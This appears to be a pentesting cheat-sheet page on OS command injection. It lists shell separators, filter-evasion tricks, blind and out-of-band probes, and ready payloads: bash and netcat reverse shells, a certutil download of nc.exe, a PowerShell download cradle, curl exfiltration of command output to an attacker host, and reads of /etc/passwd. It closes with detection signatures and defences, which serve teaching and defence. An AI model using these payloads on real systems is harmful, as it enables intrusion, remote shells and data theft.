the_open_door
coffee
ESEN
← Back to index

OS Command Injection

ATT&CKT1059
Full command arsenal in the cheatsheet

Command injection happens when an application builds an operating-system command by concatenating user input and runs it through a shell. If that input is not validated, the attacker can slip in extra commands that run with the process's privileges. The exact payload depends on the OS (Linux or Windows) and on what the app filters, so it is a game of trying separators and evasions until one runs.

Metacharacters and chaining

Shell metacharacters let you chain or substitute commands:

127.0.0.1; id                 # ; runs another command next
127.0.0.1 | id                # | pipes to another command
127.0.0.1 && id               # && if the first succeeded; || if it failed
127.0.0.1 %0a id              # newline (URL-encoded) also separates
ping $(whoami).<lhost>        # $(...) or `...` substitute a command's output
ping `id`                     #   backtick variant

Linux vs Windows

The ;/&&/| separators work on both, but the binaries change:

# Linux
127.0.0.1; id; uname -a; cat /etc/passwd
127.0.0.1; bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'

# Windows (cmd): & and && chain; use whoami, dir, type
127.0.0.1 & whoami & dir C:\Users
127.0.0.1 & certutil -urlcache -f http://<lhost>/nc.exe C:\Windows\Temp\nc.exe & C:\Windows\Temp\nc.exe <lhost> <lport> -e cmd
# Windows (PowerShell): download cradle to a reverse shell
127.0.0.1; powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/rev.ps1')"

Filter bypass

When spaces or command names are filtered, there are many evasions:

# no spaces (Linux): ${IFS}, $IFS$9, tab, < redirection
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd

# split the binary name to dodge word filters
w'h'o'a'm'i
w"h"o"a"m"i
wh\o\am\i
who$@ami

# encoded: base64 and execute
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash

# wildcards instead of the exact name/path
/???/c?t /etc/pass??
/bin/cat /etc/pa*

# Windows: quotes/^ to split words
who^ami
"whoami"

Blind and out-of-band

When the response shows no output (blind injection), confirm it via a side channel:

# delay: if the response takes ~5s, it executed
127.0.0.1; sleep 5
127.0.0.1 & ping -n 5 <lhost>          # Windows equivalent
# out-of-band: the victim resolves/connects to our host (exfiltrate output in the subdomain)
127.0.0.1 & nslookup `whoami`.<lhost>
127.0.0.1; curl http://<lhost>/$(id|base64)

From confirmation to shell

# Linux: reverse shell (listener: nc -lvnp <lport> on <lhost>)
127.0.0.1; bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'
# if there is no bash: nc, python, or mkfifo
127.0.0.1; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <lhost> <lport> >/tmp/f

Verification. The sleep delay, the incoming DNS lookup or the shell landing on the listener is the proof of execution; a bare error response confirms nothing.

Why it is so serious. The command inherits the process's context. If the application (or an auxiliary service, a cron, an internal panel) runs as root, the injection gives execution as root directly, with no need for a second escalation. That is why a seemingly harmless internal panel (a "system monitor", a report generator) that passes a parameter to the shell can be the path to root.

How to detect it. In the request, shell metacharacters in a parameter (;, |, &&, ` , $(, %0a, ${IFS}) and binary names (id, whoami, nslookup, curl, bash -i, certutil, powershell) are signatures a WAF flags in the query string or body. But the gold-standard detection is on the host: the application process (www-data, the panel service) spawning sh/bash/nc/curl/nslookup/powershell, visible in auditd (execve) on Linux or Sysmon 1/4688 on Windows, with the application as parent. The out-of-band variant leaves a DNS query or outbound connection to an attacker domain from the server. The final reverse shell is an outbound connection from a process that should never initiate one. Correlating the suspicious parameter with an anomalous child process confirms it.

Defence. Do not invoke the shell with user input: use APIs that take the binary and its arguments separately (execve with a list, not a string), so metacharacters are treated as data and not syntax. If a command must be called, validate with a strict allowlist and escape robustly. And apply least privilege: do not run the service as root. Related to the XSS-to-RCE chain and other code-execution paths.

ToolscurlnetcatBashfuscator

Machines where it's used